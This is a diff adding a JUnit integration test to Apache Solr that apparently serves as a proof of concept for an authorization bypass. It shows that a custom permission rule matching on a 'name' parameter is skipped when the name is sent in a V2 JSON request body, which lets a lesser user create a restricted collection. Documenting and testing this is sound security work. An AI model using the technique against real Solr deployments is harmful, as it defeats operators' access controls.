+ */ +package org.apache.solr.security; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.List; +import java.util.Map; + +import org.apache.http.HttpResponse; +import org.apache.http.client.HttpClient; +import org.apache.http.client.methods.HttpPost; +import org.apache.http.entity.ContentType; +import org.apache.http.entity.StringEntity; +import org.apache.http.message.BasicHeader; +import org.apache.http.util.EntityUtils; +import org.apache.solr.client.solrj.impl.HttpClientUtil; +import org.apache.solr.cloud.SolrCloudTestCase; +import org.apache.solr.common.cloud.ZkStateReader; +import org.apache.solr.common.util.Utils; +import org.apache.solr.util.LogLevel; +import org.junit.BeforeClass; +import org.junit.Test; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.apache.solr.security.Sha256AuthenticationProvider.getSaltedHashedValue; + +/** + * Confirms that a custom authorization rule that matches on a parameter does NOT see a value + * supplied in a V2 JSON request body, because the JSON command body is not parsed into request + * params before authorization runs. + * + *

For a V2 collection-admin call (e.g. {@code POST /____v2/collections} with + * {@code {"create":{"name":"...", ...}}}), {@code V2HttpCall} parses the request with the default + * parser, which puts JSON bodies into a content stream (not into {@link + * org.apache.solr.common.params.SolrParams}); the command is only parsed later, at execution time, + * via {@code getCommands()}. Authorization's custom {@code params} matching reads + * {@code context.getParams()} (query-string params only), so a {@code name} carried in the JSON + * body is invisible to it. + * + *

The test pins this with an A/B on the same endpoint and user: a guard rule keyed on + * {@code params:{name:"supersecret"}} fires when {@code name} is in the query string (request + * denied), but is bypassed when the same {@code name} is in the JSON body (request allowed and the + * collection is created). + */ +@LogLevel("org.apache.solr.security=DEBUG") +public class V2JsonBodyParamAuthzIntegrationTest extends SolrCloudTestCase { + + private static final String ADMIN = "admin"; + private static final String ADMIN_PASS = "adminPass"; + private static final String CREATOR = "creator"; + private static final String CREATOR_PASS = "creatorPass"; + + // Both candidate authz resource strings for the V2 collections endpoint are included so the rule + // matches regardless of whether the resource is the raw "/____v2/collections" or "/collections". + private static final List V2_PATHS = List.of("/____v2/collections", "/collections"); + + @BeforeClass + public static void setupCluster() throws Exception { + Map guard = new java.util.HashMap<>(); + guard.put("name", "guard_supersecret"); + guard.put("collection", null); + guard.put("path", V2_PATHS); + guard.put("params", Map.of("name", "supersecret")); + guard.put("role", "admins_only"); + + Map v2create = new java.util.HashMap<>(); + v2create.put("name", "v2_create_allowed"); + v2create.put("collection", null); + v2create.put("path", V2_PATHS); + v2create.put("role", "creator_role"); + + final String securityJson = + Utils.toJSONString( + Map.of( + "authentication", + Map.of( + "class", "solr.BasicAuthPlugin", + "blockUnknown", true, + "credentials", + Map.of( + ADMIN, getSaltedHashedValue(ADMIN_PASS), + CREATOR, getSaltedHashedValue(CREATOR_PASS))), + "authorization", + Map.of( + "class", "solr.RuleBasedAuthorizationPlugin", + "user-role", + Map.of( + ADMIN, List.of("admins_only"), + CREATOR, List.of("creator_role")), + "permissions", List.of(guard, v2create, Map.of("name", "all", "role", "admins_only"))))); + + configureCluster(2) + .addConfig("conf", configset("cloud-minimal")) + .withSecurityJson(securityJson) + .configure(); + } + + private static String anyBaseUrl() { + return cluster.getJettySolrRunner(0).getBaseUrl().toString(); + } + + /** POST a JSON body to a V2 endpoint as the given user; returns [status, body]. */ + private static String[] postV2Json(String v2Path, String query, String jsonBody, String user, String pass) + throws Exception { + HttpClient cl = HttpClientUtil.createClient(null); + try { + String url = anyBaseUrl() + "/____v2" + v2Path + (query == null ? "" : "?" + query); + HttpPost post = new HttpPost(url); + post.setHeader(new BasicHeader("Authorization", + "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8)))); + post.setEntity(new StringEntity(jsonBody, ContentType.create("application/json", StandardCharsets.UTF_8))); + HttpResponse resp = cl.execute(post); + int status = resp.getStatusLine().getStatusCode(); + String respBody = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8); + return new String[] {String.valueOf(status), respBody}; + } finally { + HttpClientUtil.close(cl); + } + } + + private static boolean collectionExists(String name) throws Exception { + ZkStateReader zr = cluster.getSolrClient().getZkStateReader(); + zr.forceUpdateCollection(name); + return zr.getClusterState().hasCollection(name); + } + + private static void waitUntilExists(String name) throws Exception { + final long deadline = System.nanoTime() + 30_000_000_000L; + while (System.nanoTime() < deadline) { + if (collectionExists(name)) return; + Thread.sleep(200); + } + } + + @Test + public void testV2JsonBodyParamIsInvisibleToCustomAuthzRule() throws Exception { + // Control: name in the QUERY STRING is seen by authz -> guard rule fires -> creator is denied. + // (The JSON body names a different collection that must never be created.) + String[] control = postV2Json("/collections", "name=supersecret", + "{\"create\":{\"name\":\"control_coll\",\"config\":\"conf\",\"numShards\":1,\"replicationFactor\":1}}", + CREATOR, CREATOR_PASS); + assertEquals("query-string name=supersecret must trip the guard rule; body=" + control[1], + "403", control[0]); + assertFalse("control_coll must not have been created", collectionExists("control_coll")); + + // Attack: the SAME name in the JSON body is invisible to the guard rule -> creator is allowed + // and the collection is created. + String[] attack = postV2Json("/collections", null, + "{\"create\":{\"name\":\"supersecret\",\"config\":\"conf\",\"numShards\":1,\"replicationFactor\":1}}", + CREATOR, CREATOR_PASS); + assertEquals("V2 create with name in the JSON body should be authorized (guard blind); body=" + attack[1], + "200", attack[0]); + waitUntilExists("supersecret"); + assertTrue( + "CONFIRMED: the custom rule keyed on params:{name:supersecret} did not see the name in the " + + "V2 JSON body, so 'creator' created the restricted collection. body=" + attack[1], + collectionExists("supersecret")); + } +}